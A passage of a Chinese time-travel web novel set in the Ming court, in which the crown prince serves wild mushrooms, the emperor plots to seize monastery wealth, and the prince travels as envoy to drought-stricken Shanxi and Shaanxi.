“父皇,娘亲”朱佑棱转移话题。“儿子今天出宫去了郊外的一处皇庄,儿子的侍卫抓了很多野鸡还采了不少的蘑菇。儿子通通带了回来,哦,还有叫花鸡。父皇和娘亲是现在尝,还是等晚膳的时候尝?” “现在天已经暗下来了,马上就该摆晚膳了,现在尝和晚膳尝有什么区别?”朱见深不甘寂寞的开口。 朱佑棱不想理会他,就冲万贞儿甜甜一笑。 “既然这样,那晚膳儿子来安排。” 万贞儿满足儿子的孝心,当即笑着点头,说了一句好。 于是乎,朱佑棱麻溜的滚去小厨房,和着小翠、小红一起指挥厨子做菜。 “小鸡炖蘑菇,蘑菇竹笋汤,还有叫花鸡需要热热。”朱佑棱兴致勃勃的点着菜。 “叫花鸡?”小翠忙问。“怎么热?连着外面包裹的一层泥一并儿丢进火灶膛里?” 第69章 第069章 “这样也行。” 朱…… “这样也行。” 朱佑棱背着手儿, 站在一旁,小嘴叭叭说个不平。 “小翠姑姑的手艺最好不过。孤自是信任小翠姑姑。对了小翠姑姑,铜钱居然在学厨,是为了未来能做给小翠姑姑吃吗!” 朱佑棱茶里茶气, 说着让小翠哭笑不得的话。 “好殿下, 快别取笑了。”小翠笑着道。“他学厨不过是兴趣爱好, 奴婢才不想吃他做的饭呢!” 朱佑棱点头表示理解。 小翠和小红属于进宫很早的一批, 他们俩不是冲着选妃来的, 而是作为女官入的共。 小红十四岁入宫, 小翠十三岁入宫。两人入宫后的第二年, 朱见深登基, 他们呢, 也被内务府直接指派给万贞儿。 如今十载过去,按照二十五可出宫嫁人的规矩,小红和小翠完全可以自请出宫。 小红和小翠都没有自请出宫婚配,而是继续当大宫女,伺候万贞儿顺便照顾朱佑棱。 从以前的‘小红姑娘’‘小翠姑娘’变成了现在的‘小红姑姑’‘小翠姑姑’, 辈分升了, 对象也找着呢。朱佑棱琢磨着,大概不是今年就是明年会嫁人。 朱佑棱挺惋惜的,当然他不是为了学习朱见深‘独爱万贞儿’的深情, 也给自己找‘跟娘亲年龄一样大’的大龄媳妇儿。 而是惋惜,小翠姑姑的手艺好好, 离了小翠姑姑,朱佑棱不知道要花费多少天才能适应其他人的手艺。 小厨房可是重地,不是信任的人,根本就不敢让他随意踏足。 当然, 以上的谨慎,是万贞儿该有的。至于朱佑棱,他其实已经隐隐对自己所拥有的‘百毒不侵BUFF’有所猜测。 毕竟就他那好胃口,任何稀奇古怪的玩意儿,只要能入口都敢尝试。食物相克易中毒这点,在朱佑棱的身上根本难以体现。 朱佑棱得意的时候,甚至牛皮轰轰的表示,要是有机会的话,定然要去大理尝试美味有(微)毒的牛肝菌。 可惜没有机会,朱佑棱就只能对京师一带山林生长的菌子下手。朱佑棱可以很负责任的表示,京师一带的蘑菇,美味‘无’毒! “蘑菇属于山珍,不好保存。今儿将侍卫们采的蘑菇,都给做了。”朱佑棱指着那堆五颜六色的蘑菇道。 “猴头菇可以吃,榛蘑、鸡枞菌,还有这个这个这个都可以吃。” 朱佑棱将一大堆蘑菇都点了出来。末了将几个颜色实在过于鲜艳,摸不准到底是不是毒蘑菇的菌子单独捡起来放到一旁。 “这个单独给孤煮汤。” 小翠:“???” 她惊恐万分的看着朱佑棱,神色充斥着不敢置信。 “殿下,你”发癫啊! “不许偷偷骂孤。”朱佑棱傲娇的哼了哼。“有本事就大大方方的骂孤。” “哪里敢呢!”小翠‘噗呲’乐了,赶紧让朱佑棱闪一边去,别耽误她亲自动手做饭。 朱佑棱倒也真的听话,离开小厨房,回到前殿那边。没一会儿,晚膳被做好呈上来。 嗯,朱佑棱特意交代给他煮的毒蘑菇汤,也被单独呈上来。 “这碗父皇和娘亲可不要碰。”朱佑棱倒没真的想当带孝子,很认真且严肃的对朱见深道。 “这是儿子专门吃的。” 朱见深估计牛脾气犯了,当即就舀了一口毒蘑菇汤喝。 “朕喝了又咋滴?” 万贞儿:“” “也不咋滴!”朱佑棱迟疑的说:“也就是容易见小人而已。” “???”朱见深不解的皱起眉头。“鹤归你说的容易见小人是何意思。” “就是产生幻觉。” 朱佑棱赶紧将那盅毒蘑菇汤挪开,不让朱见深再碰。 “比如看到狗说话,猫儿跳舞。” “???”朱见深一脸茫然,半晌摇头说不信。 万贞儿挺无奈的,主要是对朱见深,都是几个孩子的爹呢,咋还表现得比孩子都幼稚。 “鹤归说你不能吃,你就是不能吃。”万贞儿有些生气的说。“难不成鹤归还能害你不成?” 朱见深:“” “贞姐朕错了。”朱见色果断道歉,然后往殿外看去的一瞬间,差点‘窝草’出声。 “朕看到一只鸟在往自己身上插五颜六色的丝带,还说它要变成凤凰。” 朱佑棱:“孤说什么来着!” “这症状什么时候会好?”万贞儿又瞪了朱见深一眼,转而问朱佑棱。 “父皇只尝了一口,用不了多久毒性就会减弱!”说到这儿,朱佑棱不免叹气。 “儿子敢吃,那是儿子知晓儿子的体质,可父皇他怎么就这么莽呢。怪不得太傅们时不时就要提心吊胆,害怕父皇学□□祖父那般无畏,想当战神的心。” “臭小子,你就狭促吧。”万贞儿哭笑不得,“在‘御驾亲征’这点上,你父皇还是很有自知之明的。” 朱佑棱耸耸肩,倒没发表什么看法。 朱见深却是不服气,还道。“朕就是这样的汉子,从来不玩虚的。鹤归啊,那蘑菇汤再给朕喝几口,感觉味道还挺鲜的。” “娘亲,你管管父皇。”朱佑棱不理会他,直接找万贞儿告状。“都说了这蘑菇有毒有毒,能至幻,怎么就不听呢,还跟自己的儿子犟上。” “以后别骂我犟种啊,父皇才是。” 朱佑棱最后还补充了这么一句,然后直接将那盅毒蘑菇汤端走。 可不能留在这儿吃,免得小亲爹又嘴馋。 “贞姐,你看看鹤归。” 朱见深吹胡子瞪眼,刚想再说点什么的时候,万贞儿直接让人找来解毒丸,往朱见深的嘴巴里塞。 朱见深:“” “贞姐你不爱我了。”朱见深嘟起嘴巴,眼泪汪汪的说。“不然贞姐为何对朕如此粗暴。” “爱呢,妾身一直爱在心头难开口。” 万贞儿几乎咬牙切齿的说,还顺便问朱见深要不要喝水。 “朕想喝蘑菇汤。” “那,这蘑菇鲫鱼汤,汤白如奶,味儿也不错,深郎快尝尝。” 说着,万贞儿直接动手,给朱见深舀了一碗蘑菇鲫鱼汤。 蘑菇是刚采摘的鸡枞菌,鲫鱼则是新鲜养着刚杀的,组合起来烧的汤汤白味美,真的挺好喝的。 朱见深也就没有执着要喝朱佑棱端走的那盅蘑菇汤,改而喝起了蘑菇鲫鱼汤。 至于小鸡炖蘑菇,还有那烤的叫花鸡,都端了上来。味道都挺不错,朱佑棱将毒蘑菇汤喝了后,就又跑回来吃东西。 此时朱见深的症状已经缓解,看来万贞儿给喂的解毒丸起了作用,如今朱见深已经摆脱幻觉,又有闲情逸致来撩拨朱佑棱了。 “鹤归啊,你就没觉得哪里不对劲?” “哪里不对劲?”朱佑棱反问,顺便还道。“儿子懂父皇的意思,父皇是想问儿子为什么没有中毒吧。” 朱见深下意识的点头。 朱佑棱便又道:“儿子不会中毒,儿子身体康健,可比父皇强很多。” “胡说八道,你是朕生的,你体型和朕一样,朕都中毒出现幻觉了,你这臭小子怎么可能不会。” “行了深郎,别胡搅蛮缠。” 作为亲娘,万贞儿自然是站在朱佑棱这边,而且万贞儿是知晓朱佑棱的体质,更深知‘百毒不侵’是朱佑棱最大的杀手锏。所以就开口岔开话题,还说起今年春耕夏种的事儿来。 朱佑棱也道:“今年皇庄大部分农田种植的都是番薯(红薯)以及马铃薯(土豆),还有那玉黍(玉米)也种了不少。小麦和水稻也种,不过数量少” “都是有经验的农官,想必是知晓今年会有大范围的干旱降临。”万贞儿道。 “对,今天儿子去皇庄,庄里的农官就是对儿子这么说的。说今年夏季必有大旱。” 顿了顿,朱佑棱又道。“儿子是这样想的,京师重地水源还算发达,且一直以来都挺风调雨顺的,而今年要是京师一带都出现干旱的情况,那往南走,陕西山西一带,只怕又要出现赤地千里的情况。父皇,娘亲,儿子觉得,当提前做好今年会爆发大规模旱灾的准备。” 朱见深因此陷入沉思。 片刻后,朱见深突然道。“鹤归,如果让你以钦差大臣的身份,前往山西陕西一带,你敢吗?” 朱佑棱一愣,随即哑然失笑。 “山西陕西一带,又不是什么龙潭虎穴,何以说敢还是不敢。” 随即朱佑棱拱手说:“儿臣愿往。” 万贞儿有些急躁,想阻止吧,但又怕阻止之后对朱佑棱没好处。稚鹰成年后,总要离开安全的巢穴外出历练,才能展翅翱翔苍穹。万贞儿深爱自己的儿子,又怎么可能因为自己害怕儿子出事,就让儿子一直待在温室里。 作为继承人,本就该近距离的了解民生民情。 万贞儿珉紧唇瓣,开口道。“锦衣卫,东西两厂的人,还有大内侍卫都得带上。深郎,还要给鹤归先斩后奏的权利,免得耽误鹤归为大明为深郎办差!”—— 作者有话说:哎 1不是我更新晚,而是特么大晚上的又停电了。总算赶在12点的时候,用手机码出来了! o(╥﹏╥)o 第70章 第070章 其实最主要的,还是万贞儿…… 其实最主要的, 还是万贞儿怕朱佑棱前往陕西那边,会遇到危险,不多带点人的话,根本不放心朱佑棱去。 “深郎好狠的心。” 万贞儿眉眼含嗔的瞪着朱见深。 “鹤归还小呢, 深郎怎么就想着‘锻炼’鹤归。” “十三了, 不小了。”朱见深小心翼翼的道。“有的人家, 十三岁就已经成家立业了。” “那是别家。”万贞儿珉紧唇瓣, 更加不悦的说。“妾身的鹤归就是小, 妾身愿意一直庇佑我儿。” 朱见深:“” 突然就挺嫉妒的, 但是朱见深一句话都不敢说, 而这其实也不怪万贞儿, 朱见深心理清楚明白, 为何万贞儿会对朱佑棱那么紧张。 除了高龄产子,此生只能有这么个儿子外,也有唯一儿子在几个月大的时候,历经生死大劫的缘故。 朱见深懂,却挺嫉妒万贞儿对朱佑棱毫不保留的母爱。 他那霸道的爱, 就想长长久久的‘霸占’属于万贞儿的爱。有句话是怎么说来的, 哦,对了,真爱所生的不一定是爱情结晶, 有可能是结石。 朱佑棱呢,此时此刻, 估计在拈酸吃醋的朱见深眼中,已经是地地道道的‘真爱结石’了。 不过朱佑棱才不在乎呢,不管是真爱结晶还是真爱结石,反正他都是最特别的。 其他的皇子, 根本就比不了。 朱佑棱傲娇的哼了哼,撇了朱见深一眼。 “娘亲放心,儿子自会小心谨慎。再者”朱佑棱顿了顿,挺挖苦人的道。“儿子虽是皇祖父的孙子,但儿臣还是知晓分寸,不会妄自菲薄。” 就像婴儿,爬都没有学会,就想着走路,可不得狠狠摔个大跟头。 “为娘知晓,可这做母亲的,即使知晓,也会忍不住担忧的。”万贞儿说到这儿,却是爽朗一笑,又道。 “而为娘担忧,就会忍不住迁怒你父皇。” 朱见深配合的在旁露出可怜兮兮的模样儿,成功愉悦住了万贞儿。 “好深郎,别生气,我啊就是这个脾气。没想着,我就冲深郎使小性子,想着便是深郎能包容我的小任性。” 朱见深顿时感动的眼泪汪汪,接着就开始情话一箩筐还不重复的说。 朱佑棱:“” 就知道会这样! 朱佑棱叹了一口气,无奈的耸耸肩。 算啦,早就习惯了。 不管黏黏糊糊的帝妃二人组,朱佑棱自行跑去休息。说是要以钦差的身份前往山西陕西一带,又不是即日即刻出发,先睡一觉,等明儿天亮后再收拾行李不迟。 何况那行李,还轮不到他来收拾。 一夜无梦,第二天一大早,朱佑棱就早早的起来。帝妃二人组,经过昨晚‘密谋’,准备让朱佑棱将小翠带上。 “???”朱佑棱吃惊不已。“哪有钦差出门带宫中女官的。” “你不止是钦差,还是太子,哪怕委任钦差,衣食住行也要准备妥当。” “金砖和银锭都会留京,你身边只铜钱一人带100名锦衣卫” 在东厂和西厂之间,万贞儿纠结万分,最终选择锦衣卫。正好铜钱身上挂着锦衣卫千户的名头,带100名锦衣卫好手,不是什么特别的情况。 “另外‘如朕亲临’的玉牌,‘先斩后奏’的尚方宝剑都给带上。” 万贞儿又道。“对了,还有调拨地方卫兵的虎符,也带上。只要有虎符在,不管多少兵马,我儿都可以随意调拨。” 这下子朱佑棱是真的吃惊,根本就没有想到亲娘居然如此的给力,真的从衣食住行方面,都为他考虑了进去。 朱佑棱感动的点点头,还道,“娘亲放心,儿子必然小心谨慎,不敢妄自尊大。” 妄自尊大的显眼包,下场还在那儿摆着呢。 大明战神,瓦刺留学生的名声,实在不好听,朱佑棱可不想成为大明战神第二。 “我儿打算什么时候出发?”万贞儿柔声问。 “明天?”朱佑棱给出不太确定的时间。 “都收拾好了,今儿就走,等不了明天。”朱见深在旁哼哼。 朱佑棱:“” 嘿!这老登儿,小小老子长大后,就给你脸了? 朱佑棱随即冲着万贞儿哭唧唧。 “娘亲,你看看父皇,儿子才多大,他就想将儿子赶出家门流浪。” “谁家儿郎流浪带100名锦衣卫?” 朱见深觉得朱佑棱这臭小子,就是生来克他的,恨不得一脚踹出去,当即就道。 “别叽叽歪歪做小儿姿态。鹤归啊,你已经十三岁了,是成熟的少年郎了,怎么能动不动就冲贞姐撒娇。” “哦!”朱佑棱从善如流的收了‘哭唧唧’的假哭脸,“儿子知晓,向娘亲撒娇,是父皇惯会做的事情。” “你知道就好。” 朱见深挥挥手,像赶苍蝇一般,企图将朱佑棱赶走。 “行李已经收拾妥当,早早上路为好。” 朱佑棱此时已经什么话都不想说了,主要老登儿真的太会拈酸吃醋了,一大把年龄了,还当自己是个宝宝呢! 朱佑棱哼了哼,果断转身扛着行李就走。这利索劲儿,当即惹得朱见深连连点头,而万贞儿只能哭笑不得,但却不怎么想哄小自己17岁的小丈夫。 朱佑棱离开安喜宫,并没有立马出宫,而是去了乾清宫,很巧的在御花园碰到了想要摘花花的大皇女朱玲玉。 “太子哥哥,给!” 大皇女摘了一朵花花,就要递给朱佑棱。 大皇女遗传了朱见深的体质,算是唯二遗传到‘胖胖’基因的皇女。 小姑娘目前才三岁多,胖乎乎的身材,肥嘟嘟的脸蛋儿,以及糯叽叽的声音,顿时让朱佑棱产生了一种——类似我的妹妹怎么这么可爱的喜欢。 “玲玉真乖。”朱佑棱收了大皇女递给他的花花,还顺手别在了耳后。 “太子哥哥还有事儿要做,玲玉摘够花花,记得回去吃饭饭哦!” 还用叠词词—— 朱佑棱丝毫没有觉得不对,反而更加来劲儿,甚至还乐呵呵的掐了掐大皇女肥嘟嘟的脸蛋儿,然后果断继续往乾清宫前进。 到了乾清宫后,其实也没有待多久,只是写了几封信,让内侍交给内阁的几位大臣。 之后,朱佑棱等着铜钱点齐人马,等小翠换了一身比较普通的衣裙,而朱佑棱也换了一身常服,便乘坐马车大摇大摆的离开皇宫。 朱佑棱的离开,算是比较低调的,而且铜钱带着人,是在京郊的官道等候。以至于除却收到几封书信的内阁大佬们知晓朱佑棱以钦差的身份离京外,其他够资格参与朝会的官员们,没一个知晓的。 以至于‘三天一次小朝会,五天一次大朝会’的早朝开始时,大家才发现一向勤勉,但嘴巴有点儿毒的太子殿下,今儿居然没有来上朝。 “万岁爷!”有官员出列,直接问了出来。“不知太子是否身体不适?” “不然怎么不来上早朝?”朱见深高坐在龙椅上,好整理瑕的说。“啊,朕是不是忘了说,朕的太子,被朕命令为钦差,赶赴山西陕西一带,督促当地兴修水利一事了。” 满朝文武:“” “这”吏部的左侍郎开口道。“万岁爷没说啊!” “哦,那朕现在已经说了。”朱见深不是很在意的道。“想来现在吾儿已经出了京师一带了吧。” “不知万岁爷派了多少人手保护太子殿下?” “一百锦衣卫。”朱见深又道。“还有调拨各地军马的虎符,朕就这么个太子,朕自然要安保好保护他安全的人手,不然出了什么事,朕大概会被祖宗狠狠骂一顿。” 不!亲爱的万岁爷,你不会被老朱家的祖宗狠狠骂一顿,你只会被你的真爱狠狠骂一顿。 想到宫里万皇贵妃的彪悍与凶残,满朝文武齐齐打了个冷颤。 “万岁爷做得及对,太子‘千金之躯不坐堂’,除了锦衣卫外,也得兵马随叫随到。” “是这个理。” 这时候万安出列说:“如今山西陕西两地久未下雨,老臣觉得水利工程当修,只不过太子殿下到底年轻,万一被当地官员忽悠了怎么办。” “万爱卿,你太小看朕的太子了。”朱见深反驳道。“他从小到大都喜欢忽悠人,连朕都中了好多次,朕不怕他被当地官员忽悠,只怕他反向忽悠当地官员。” 说到这儿,朱见深居然还发出由衷的感慨。 “老实讲,朕已经开始思索,鹤归忽悠当地官员时,会忽悠几成,会不会给他们留条亵|裤。” 啊这! 满朝文武面面相觑,不由自主的同时回忆,朱佑棱在成长过程中干了多少件糟心事儿 然后惊恐万分的发现,朱佑棱这位太子爷干过的糟心事儿数都数不清。 想到山西陕西两地的官员‘有福’了,不免露出幸灾乐祸的表情。 怎么说呢,就朱佑棱坑人的手段,只要不发生在他们身上,而是别人,就感觉自己被撕裂成了两半,一半惊一半讶,合起来就是地地道道的幸灾乐祸。 就连高坐在龙椅上的朱见深,要不是矜持,大概早就‘哈哈哈’的拍扶手,表达自己那无比高涨的幸灾乐祸。 ——他家那连亲爹都坑的糟心玩意儿,就适合方出现霍霍其他人。 “既然尔等都知道了朕的太子,已经赶赴山西陕西两地,那就没有继续谈论的必要。朕昨儿收到闽南那边送上来的折子。朕那倒霉的六弟崇王殿下,于10日前应七弟的邀请去了安南郡,结果遇到,从那哦,对,身毒国的苦行僧挑衅,导致怒气上涌脸,生了很多痘痘。” 顿了顿,朱见深似乎在组织言辞,过了一会儿方又继续说道。“朕就这么一个嫡亲弟弟,他受了侮辱,等同朕受了侮辱,朕不能忍,所以打算多推倒几处寺庙,好为七弟报仇。” 满朝文武:“???” 不是!身毒国的苦行僧挑衅崇王殿下,导致崇王殿下受到侮辱,那就收拾身毒国啊,关大明境内的寺庙什么事儿。 万岁爷此举—— 不会是找理由掀起灭佛运动吧! 想到此处,好多大臣们都忍不住‘嘶’了起来。 “万岁爷,这万万不可啊!” 御史台的大夫们开始踊跃进谏,让朱见深不要轻易就准备掀起‘灭佛运动’,大明现在即便财政吃紧,也没有吃紧到这种程度啊! 所以万岁爷—— 求你别作了行不行! 一时间大家呜呼哀哉,成功将金銮殿又变成了菜市场!—— 作者有话说:更新o(* ̄︶ ̄*)o《 》 70-80 第71章 第071章 朱见深显然心情极好,由着…… 朱见深显然心情极好, 由着他们吵闹。大概过了半个时辰左右,朱见深才开口。 “看来你们已经商量好了,就这样吧,六弟被辱, 朕真的好痛心, 如果母后在的话, 大概会比朕还要心疼六弟, 早就嚷嚷着让朕替六弟报仇。” 朱见深说到这儿, 真的是全场安静, 不是不敢说话, 而是不知道说什么。虽说这几年吧, 周太后都在闽南, 陪她亲亲的幺儿没有动过回京的念头。但是 周太后的传奇,是能经过时间发酵被历史铭记的。 能参与上早朝的每一位大臣,全都直面过周太后的撒泼,那真的是惊天地泣鬼神,偏偏他们全无招架的能力。 如果周太后知晓他们拦着, 不让当今皇帝为崇王殿下做主, 大概会直接杀回京师,把他们骂得狗血淋头,并让他们全部滚去给先帝爷殉葬。 虽说他们肯定不会听周太后的, 但是周太后她骂起人来不讲究,脏话连篇不说还问候祖宗十八代。 斯文人哪里见过这样的架势啊, 文官们没一个不怕周太后的,而武官,其实也怕 武官平日里和文官吵架,吵不过的话, 有时候就会动手。但是对上周太后 笑死,除了先帝爷外,谁敢对周太后动手。连当今皇帝都不敢,何况是他们 面对一个骂也骂不过,打根本不敢碰的周太后,武官也麻爪。 战斗力太强悍了,哪怕周太后已经离开很有几年了,京师依然流传着属于她的传说。 文武百官们鸦雀无声,算是默认了朱见深为了给弟弟朱见泽报仇,‘迁怒’到大明境内和尚的行为。 嗯,身毒的苦行僧得罪了崇王殿下,他们的皇帝为了给崇王殿下报仇,想着去身毒的路途遥远,改而收拾大明境内和尚的行为完全没有毛病。 朱见深见此,也就心满意足的宣布退朝。 其实‘灭佛’这件事情,朱见深曾经和朱佑棱私下讨论过。朱佑棱来自后世,自然知晓‘佛教’昌盛的危害。 倒不是因为他们宣传的教义有危害,而是吧 僧人他不纳税,不说僧人建的寺庙所圈的大片土地。单说仅仅是普普通通的一座寺庙,收到的香油钱也是十分可观的。 而全国大大小小的寺庙,说个笼统的,也有数百座。这还不算那种建在深山老林,没什么人烟的古刹寺庙。 总之不可细算,一旦细算,妈惹,就连对金钱没什么实际概念的朱见深都吃惊不已。 是真的没想到,原来僧侣居然那么富。 这不,拿朱见泽当借口,敲定‘灭佛运动’事宜,回到安喜宫,朱见深还不忘找万贞儿吐槽。 “要不是那天鹤归给朕一笔笔的算账,朕从来没有想过,那些僧侣不止隐瞒田产不去官府登记,还隐匿人口,“还坐拥如此惊人的财富!” 万贞儿:“怎么说?我还纳闷你们几日前神神秘秘的,连我都瞒着,感情是这么回事儿。” 朱见深端起万贞儿递来的温茶,一口气灌下半盏,才又继续解释。 “贞姐你是不知道!鹤归那小子,拿着东厂和锦衣卫零星报上来的数字,给朕算了一笔账!就只是按京城周边几个稍有名气的寺庙估算,一年单单是信众捐的香油钱,就不下数十万两!这还不算他们做法事、收受供奉、甚至放印子钱(高利贷)的进项!” “放印子钱?”万贞儿骤然皱起眉头。“他们居然敢放印子钱,真是好大的狗胆。” “可不是嘛。” 朱见深想起这个就很生气,觉得自己以前居然忽略了,真是万分不该。 关键还是朱佑棱主动说起,他才惊觉。要知道那个时候,他都想写信让好弟弟们‘捐款’了。 “单是几家寺庙,信众捐献的香油钱,就不下数十万两。朕的国库一年才多少进账?” 万贞儿跟着点头,还道。“可不是嘛,哪怕因着加收商税的关系,国库如今一年好几百万,甚至上千万银子的进账,但开销也大。辽东方面军饷要给足,沿海边疆等卫所,也需大量军饷。” “水利工程,城墙修葺,开荒种植,那样不需要大量的钱财支撑?” “朕每年,不,每个季度,都在为如何增加国库收入而烦恼。可那些个僧侣” 说到这儿,朱见深的声音,变得阴沉起来。颇有些咬牙切齿的味道。 “他们占着最好的田地,雇人耕种或是让投献的佃户白干活,却不交一粒米的税!” “那些寺庙里的和尚,名义上是出家,可其中多少是躲避赋税徭役的丁壮?这些人不事生产,不纳粮,不当差,却享受着信众的供养,寺产越来越丰!” 万贞儿斜倚在软榻上,静静地听着,手里慢条斯理地剥着一颗水晶葡萄。 她对于金钱远比朱见深敏感,听到朱见深如此气愤的发言,其实并不感到惊讶。 “哦?竟有如此之多?那全国各地的寺庙加起来,岂不是” “岂止是‘多’!” 朱见深转过身,脸上带着一种发现巨大宝藏,却又觉得被愚弄的复杂神色。 “鹤归说,若严格清查天下寺庙,按照藏匿的田产人口等,追缴历年积欠的税赋,再令度牒严格管理,无度牒者还俗纳税。初步估算,所能得的钱粮,或可抵得上全国数年的赋税!” 听到这儿,万贞儿是真的吃惊了。 “其实朕想把鹤归支开,有这方面的原因。”朱见深突然又道。“贞姐,鹤归他不愧是朕的儿子,青出于蓝而胜于蓝,他比朕心狠得多。有些事情,明知道结果会好,但朕不一定敢做,而鹤归,他就一定会做,并且喜欢剑走偏锋。” “鹤归留在京师,大概不会选择用温和的手段,而朕打算徐徐图之。索性就让鹤归去山西陕西两地巡视,想来鹤归大概会在两地待上半年左右。” “你啊!”万贞儿摇头,都不知道该说什么了,说朱见深连亲儿子都防着的话不合适,但想想自己生的心肝宝贝儿,现在才13岁,就被朱见深丢出去,还美其名曰害怕儿子手段过去凶残 万贞儿忍不住白了一眼,开始担忧起来。“也不知鹤归现在走到哪儿了!” 朱佑棱走到哪儿了呢,只能说还在路上。 朱佑棱别看现在才十三岁,但很小就掺和政务的他,现在颇具储君风仪。 他奉旨巡视山西、陕西两地水利、河患及旱情,代天巡狩,体察民情。其实是一种向朝野上下,展示未来储君对民生疾苦的重视。随行队伍浩浩荡荡。 这是对他能力的磨砺,朱佑棱心知肚明,从头到尾都很乐意,哪怕朱佑棱琢磨着自己只怕要好几个月都不能待在紫禁城,依然很乐意。 就是吧,美人娘亲不太放心,给他配置的随行队伍浩浩荡荡的。除了东宫属官,100锦衣卫外,还有工部、户部的能吏干员,以及太医院的数位医官。 就离谱,主要那些个大臣们,居然上早朝的时候,才发现朱佑棱已经早早离了京。 这日时近正午,初夏的太阳已颇有几分毒辣,晒得黄土官道蒸腾起氤氲的热气,远处景物在热浪中微微扭曲。 一队车马仪仗,在100名鲜衣怒马的锦衣卫的锦衣卫护送下,沿着官道缓缓西行。 旌旗招展,上绣龙纹日月,彰显着主人非同寻常的身份,正是奉旨巡视山西、陕西的皇太子朱佑棱的车驾。 队伍中央,是一辆规制宏大、装饰朴素的明黄帷马车。车帘低垂,隔绝了外界的暑气与尘土。 十三岁打的朱佑棱端坐车内,身着一件玉色团龙常服,腰系玉带,眉目间已褪去不少孩童的稚气,代之以一种沉静的思索。 他手中拿着一卷《尚书·禹贡》,目光却并未落在书页上,而是透过车帘的缝隙,望向窗外单调而飞逝的风景。 枯黄的田野、稀疏的林木、龟裂的河床。这与史书典籍中描述的“晋地丰饶”大相径庭。 “殿下,前方不远便是祁县驿,是否在此歇脚用膳?” 车窗外,传来东宫侍读、詹事府左春坊大学士刘健沉稳的声音。刘健年近四十,面容清癯,是朱佑棱此次出巡的主要辅佐官员之一,以端谨持重著称。 朱佑棱放下书卷,掀开车帘一角。热风扑面而来,带着干燥的土腥气。 “刘卿,这一路行来,越往山西方向走,就越荒凉。田地荒芜,河水也几近干涸。孤看舆图(地图)上说,有昌源河支流灌溉,不该如此。” 昌源河是位于山西中部的一条重要河流,发源于山西省晋中市祁县东南部的麓台山(太岳山北麓),向西北流经祁县、平遥县,在祁县西北部与汾河支流乌马河汇合后注入汾河。 是汾河的一级支流,属于黄河水系,全长约87公里,流域面积约1,029平方公里。 他们所到的地方,恰好有一条昌源河支流经过,可他们走的官道,除了看到荒芜的田野外,就是几近干涸的河水。 “殿下明鉴。去岁秋,黄河在蒲州、荣河一带多处溃决,晋南大片良田沦为沼泽,冬麦因此未能及时播种。而今春又罕见少雨,昌源河及其支流水位大降,灌溉不及,眼下正是青黄不接之时,田亩荒废,也在情理之中。” 刘健骑马靠近车窗,眉头微锁的说着他所了解的情况。“陛下仁德,去岁水患后已有赈济,今春亦下诏减免山西安邑、猗氏等重灾县赋税。只是杯水车薪,天灾连年,黎民实在苦哉。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第72章 第072章 “孤知晓。”朱佑棱点头,…… “孤知晓。” 朱佑棱点头, 表示自己算是了解他所说的情况。 天灾人祸,天灾人祸,天灾没法避免,可人祸想办法还是能避免的。 首先他们有先后关系! 这么说吧, 先有天灾再有人祸。 如果没有天灾, 到处风调雨顺的情况下, 百姓衣食无忧, 自然不会有人祸发生 很多时候, 人祸会出现, 往往是因为发生天灾, 而朝廷反应不及时的缘故。 反正都活不下去了, 干嘛不豁出命搏前程呢! 换做朱佑棱, 他也会这样选择的。 “继续前进,争取早日抵达目的地。”朱佑棱放下车帘,在马车里坐正身体后,车队再次沿着官道前进。 大概又前进了半个时辰左右,骑马走在最前方的铜钱突然高举右手, 示意车队停下。 “出了什么事?” 铜钱调转马头, 靠近马车。 “殿下,前面有人。” 官道前面的不远处,有一片稀疏的杨树林。林木萧条, 但在树林边缘,影影绰绰, 似乎聚集着不少人。 更远处,还有三三两两的黑点,沿着与官道平行的土路,缓慢向东移动。 “那些人”朱佑棱眯起眼睛, 看向那片树林和路上的行人,“看起来不似寻常赶路的商旅百姓。” 铜钱早就戒备,闻言立马挥手,顿时一队轻骑迅疾而出,前往查探。片刻后,一名总旗官快马奔回,在铜钱耳边低语几句。 陆炳面色凝重,很快又重新策马来到车驾前,隔着车窗躬身道。 “禀殿下,前方林边及道上,聚集的乃是流民,人数约有三五百,老弱妇孺皆有,看情形是准备往东而去。” “流民?”朱佑棱心下一沉。“什么时候的事,为何没有收到奏报?” 铜钱小心翼翼回答。“或许是写了,但殿下出京,恰好错过了?” 朱佑棱:“就没有隐瞒不报的可能?” “自然是有的。”铜钱又道。“但属下觉得,咱们的运气应该可能,没那么差。” “不!孤对自己的运气有数,而你没有。”朱佑棱直接了当的道。“不幸你问问小翠。” “肯定隐瞒了没有上报。”小翠从马车里钻出来,肯定了朱佑棱的猜测。 地方的官员,大部分都是这样。发生灾情的第一时间,想的不是上报,而是隐瞒。 能悄然无声,不惊动上面解决最好。如果不能,就只能惊动上面。而且这惊动上面,还是在事态严重无法继续隐瞒的情况下,才会想着上奏。 反正挺难评的。 综合上述,朱佑棱完全怀疑当地官员对于‘出现流民一事’根本就没有上奏,并且估计还对流民进行了,有范围的驱除。 “你说流民往东走?”朱佑棱转而出声道。 铜钱:“是的殿下,几百流民都是往同一方向走。属下觉得,他们应该想往京畿方向走。 “刘卿。”朱佑棱冲刘建下达了命令。“替孤写一本奏折,下个驿站交由驿官送回京师。” 顿了顿,朱佑棱还道。“具体写什么,不用孤细细说明吧。” 刘健摇头,恭敬的说自己知晓该怎么写,如何写! “那就行。”朱佑棱转而看向不远处杨树林里扎堆聚集的流民。他们有的已经开始在捡拾柴火,大概是准备就地解决吃喝。 “走,去看看。” “殿下,等等。”刘建赶紧拦住,“流民聚集,鱼龙混杂,恐有不测。殿下万金之躯,不宜轻涉险地。不若由臣等前去询问安抚?” 同样为东宫属臣的陆炳也道:“刘大人所言极是。流民之中,难免有奸猾之徒或疫病流传,殿下安危为重。” “孤奉旨巡视,代天巡狩,若连流民疾苦都不敢亲见,只听臣下转述,如何能知真实民情?如何向父皇复命?” 朱佑棱的语气虽稚嫩,却带着不容置疑的决断,再者,他有百毒不侵BUFF,什么事儿都不会有。 “陆卿不用担心,让铜钱加强戒备即可。如果实在担心,刘卿和陆卿,随孤一同前去。” 顿了顿,朱佑棱下达新的命令。“传令,队伍暂停,于前方开阔处择地休息,非有孤令,不得惊扰流民。” “臣/末将,遵命!” 刘健和陆炳见太子意决,不敢再强劝,连忙安排。 铜钱调集最精锐的护卫,在朱佑棱下车后迅速形成警戒圈。刘健紧紧跟随在侧,另有工部派来,熟知水利的员外郎张润,负责钱粮稽核户部主事赵诚以及太医院院判李太医(汪太医的师叔)等随行官员也急忙下马,簇拥过来。 在这样严密护卫下,朱佑棱走向那片杨树林。离得越近,那股景象便越是冲击着他的感官。 